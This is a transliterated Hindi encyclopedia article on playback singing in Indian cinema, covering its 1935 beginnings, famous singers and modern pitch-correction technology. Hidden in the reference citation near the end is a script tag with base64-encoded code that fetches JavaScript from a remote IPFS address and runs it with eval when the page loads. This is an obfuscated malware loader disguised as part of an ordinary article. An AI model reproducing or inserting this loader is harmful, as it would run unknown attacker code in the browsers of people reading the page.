पार्श्वगायन
parshvagayan
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| vivaran | ve abhineta ya abhinetri jo gayan vidya mean nipun nahian hote, unake badale mean nepathy se koee doosara achchha gayak ya gayika gati hai, yahi gayan 'parshvagayan' kahalata hai. |
| sambandhit kshetr | bharatiy sinema, sangit, naty adi. |
| prarambhakarta | prasiddh sangitakar ar. si. boral, pankaj malik aur nitin bos ko bharatiy sinema mean parshvagayan ki shuruat karane ka shrey diya jata hai. |
| prasiddh parshvagayak | mohammad rafi, kishor kumar, lata mangeshakar, asha bhoansale, mukesh, maheandr kapoor, hemant kumar, shamashad begam adi. |
| sanbandhit lekh | ar. si. boral, pankaj malik aur nitin bos, parshvagayak |
| any janakari | jab sinema ko avaj mili to abhineta hone ki shart mean gayak hona shamil tha. ke. el. sahagal us pidhi ke pratiman mane ja sakate haian. bad ke dinoan mean parshvagayan ne sinema sangit ko ek vishisht aur svatantr pahachan dene ki shuruat ki |
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parshvagayan arthath vah gayan jo parde ke pichhe se kisi abhineta ya abhinetri ke gane ke badale hota hai. jo abhineta ya abhinetri gan vidya mean nipun nahian hote, usake badale mean nepathy se koee doosara achchha gayak ya gayika gati hai, yahi gana 'parshvagayan' kahalata hai.
shuruat
apane samay ke khyati prapt sangitakar ar. si. boral, pankaj malik aur nitin bos ko bharatiy sinema mean parshvagayan ki shuruat karane ka shrey diya jata hai. hindi filmoan mean parshvagayan ki shuruat se sambandhit ek rochak ghatana hai-
"jis raste se nitin bos pratidin apane ghar se 'nyoo thiyetars' jate the, usi raste mean sangitakar pankaj malik ka ghar p data tha. isilie nitin bos pratidin pankaj malik ko unake ghar ke pas se unhean apani kar mean baithakar stoodiyo le jate aur chho d jate. yah silasila chalata rahata tha. roz ki hi bhaanti nitin bos pankaj malik ke daravaze par apani kar ka h aaurn baja kar unhean bula rahe the, parantu pankaj malik par isaka koee asar nahian ho raha tha. nitin bos ko laga ki shayad ghar mean koee nahian hai. tabhi lagatar kar ke h aaurn ki avaj sun kar pankaj malik ke pita ne unako kamare mean ja kar bataya ki get par nitin bos bahut der se tumhara iantazar kar rahe haian. itana sunate hi pankaj malik dau date hue nitin bos ke pas pahuanche aur kaha- "mafi chahooanga, maian zara apane pasandida aangrezi ganoan ka rik aaurd sunate huye usake sath gane mean mashagool ho gaya tha. isilie apake kar ke h aaurn ko nahian sun saka.
nitin bos ne is ghatana ki charcha 'nyoo thiyetars' mean ar. si. boral se ki aur unase charcha karate huye unhean apana ek sujhav diya- "ki kyooan na ham kuchh naya prayog karean. jaise pankaj us gane ke sath gaye ja rahe the, usi tarah gane ko bhi pahale rik aaurd kiya ja sakata hai. isase hamean abhinetaoan aur abhinetriyoan ki avazoan ke sath samajhauta nahian karana p dega. hamare pas vikalp yah hoga ki ham kisi surile prashikshit gayak, gayikayoan ki avaz mean gane rik aaurd kar sakate haian aur bad mean shootiang ke samay film mean abhinay kar rahe charitr par chitraankan kar sinema ko aur rochak bana sakate haian. ar. si. boral is vichar se poori tarah sahamat huye. phalasvaroop us samay nitin bos ke hi nirdeshan mean ban rahi film 'dhoop chhavan' (1935) ke liye unhoanne pahala gana "maian khush hona chahooan, khush ho n sakooan" rik aaurd kiya, jisamean mukhy svar ke. si. de ka tha tatha koras mean parul ghosh, suprava sarakar evan harimati ke svar the. isake rikordist mukul bos the, jo nitin bos ke hi bhaee the. mukul bos bhi 'nyoo thiyetars' mean bataur dhvani mudrak karyarat the. is prakar sangitakar ke taur par hindi sinema mean parshvagayan ki parampara ka shriganesh karane ka shrey ar. si. boral ko jata hai, jabaki pratham parshvagayak hone ka shrey ke. si. de diya gaya.
sangit ki vishisht aur svatantr pahachan
jyada samay nahian hua, jab hindi sinema mean sangit ki apani saltanat thi. sangitakar ka nam nirdeshak ke barabar rakha jata tha aur gayakoan ka mahatv sitaroan se kam nahian tha. aj bhi rajakapoor ko shankar jayakishan aur mukesh se alag kar nahian dekha ja sakata. dilip kumar ka nam ata hai to mohammad rafi khud b khud jehan mean a jate haian. yah daur takariban 80 ke dashak tak prabhavi raha. bharat mean sinema ke aranbhik daur se hi isake lie sangit ki anivaryata mahasoos ki gee. kahate haian, jab sinema mook tha tab bhi laiv sangit se ise sanvarane ki koshish ki jati thi. bad ke dinoan mean jab sinema ko avaj mili to abhineta hone ki shart mean gayak hona shamil tha. ke. el. sahagal us pidhi ke pratiman mane ja sakate haian. bad ke dinoan mean parshvagayan ne sinema sangit ko ek vishisht aur svatantr pahachan dene ki shuruat ki aur sinema sangit mean prashikshit gayakoan ka dakhal badha. yah vah daur tha, jab gane pahale sune jate the, philm darshakoan ke samane bad mean ati thi. kah sakate haian us daur mean philmoan ke pramoshan ka ekamatr vikalp gane hi the. rediyo par gana sunakar hi aandaja laga liya jata tha ki ise parade par rajakapoor ne gaya hoga aur ise dilip kumar ne.[1] [[chitr:Kishor-Kumar.png|thumb|100px|kishor kumar]] [[chitr:Lata-Mangeshkar.jpg|thumb|100px|lata mangeshakar]] [[chitr:Asha-Bhosle-4.jpg|thumb|100px|asha bhoansale]]
prasiddh parshvagayak
gayakoan se bhi ummid rakhi jati thi ki ve jis abhineta ke lie avaj de rahe hoange, usake mainarijm ka nirvah kareange. vahi mukesh rajakapoor ke lie kuchh aur sunaee dete the, manoj kumar ke lie kuchh aur. kishor kumar ke rajesh khanna aur dev anand ke lie gae gitoan ka phark samajhane mean aj bhi mushkil nahian hoti. isake lie varshoan ke riyaj ke sath ek-ek git par mehanat ki jati thi. jahir hai, abhinetaoan ki pidhiyaan gujar rahi thian, lekin lata mangeshakar, mohammad raphi, mukesh, manna de, kishor kumar, asha bhoansale jaise gayakoan ko chunauti dene vale gayak samane nahian a pa rahe the. isaka karan unake jnan aur samarpan ke sath unaki prakriti pradatt avaj bhi thi. ye sabhi apane samay ke nipun parshvagayak the.
naye parshvagayakoan ka uday
90 ke dashak mean myoojik kaiset ke avataran ke sath ne gayakoan ki ek shrriankhala to aee, lekin apani svatantr pahachan ke bajay inhoanne pray: purane sthapit gayakoan ki nakal se sthapit hone ki koshish ki. halaanki bad ke dinoan mean kumar shanoo, anuradha podaval, sonoo nigam, kavita krishnamoorti, udit narayan, shan, shreya ghoshal aur sunidhi chauhan jaise gayakoan ne parshvagayan mean apani svatantr pahachan bhi kayam ki. lekin yah tab ki bat thi, jab tak gayakoan ki gayaki unaki avaj aur unake sangit ki samajh par nirbhar raha karati thi. lekin abhi sangit mean paranparagat vady yantroan ka sthan mashini avajoan ne le liya hai. rikardiang ki adhunik suvidhaoan ne sangitakaroan aur gayakoan ke bich tyooniang ki zaroorat bhi khatm kar di. yahaan tak ki sathi gayakoan ki sath upasthiti ki anivaryata bhi jati rahi. dhun kabhi rik aaurd ho rahi hai to git kisi aur din. kisi ne aj rik aaurdiang karavaee, kisi ne tin din bad. takanik ne sahooliyatean badhaeean, lekin is sabake bich sangit ki ahamiyat bhi khoti rahi.[1]
adhunik takanik
film nirmataoan ko bhi ahasas ho gaya tha ki jab gane sitaroan se bikane haian to parshvagayakoan ki pahachan ko ahamiyat kyoan di jay. isamean adhunik takanik ke 200 d aaular ke ek program ne kraantikari bhoomika ada ki. 'melodain' nam ka yah s aauphtaveyar program avaj, pich aur skel tak durust karane ki kshamata rakhata hai. is program ne gane ke lie gayak hone ki zaroorat hi khatm kar di. ashchary nahian ki 'kolavari di...' ke dhanush to kya, aj rritik roshan, ranavir kapoor se lekar sanjay datt tak ganoan ko apani avaj de rahe haian. hindi sinema mean 'van s aaung vandar' ki bhi d machi hai. takanik dvara parshvagayan mean lae ge is janatantr ka prabhav ane vale dinoan mean hindi sinema par dikhega.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 takanik laee plebaik sigiang mean janatantr (hindi). . abhigaman tithi: 09 navambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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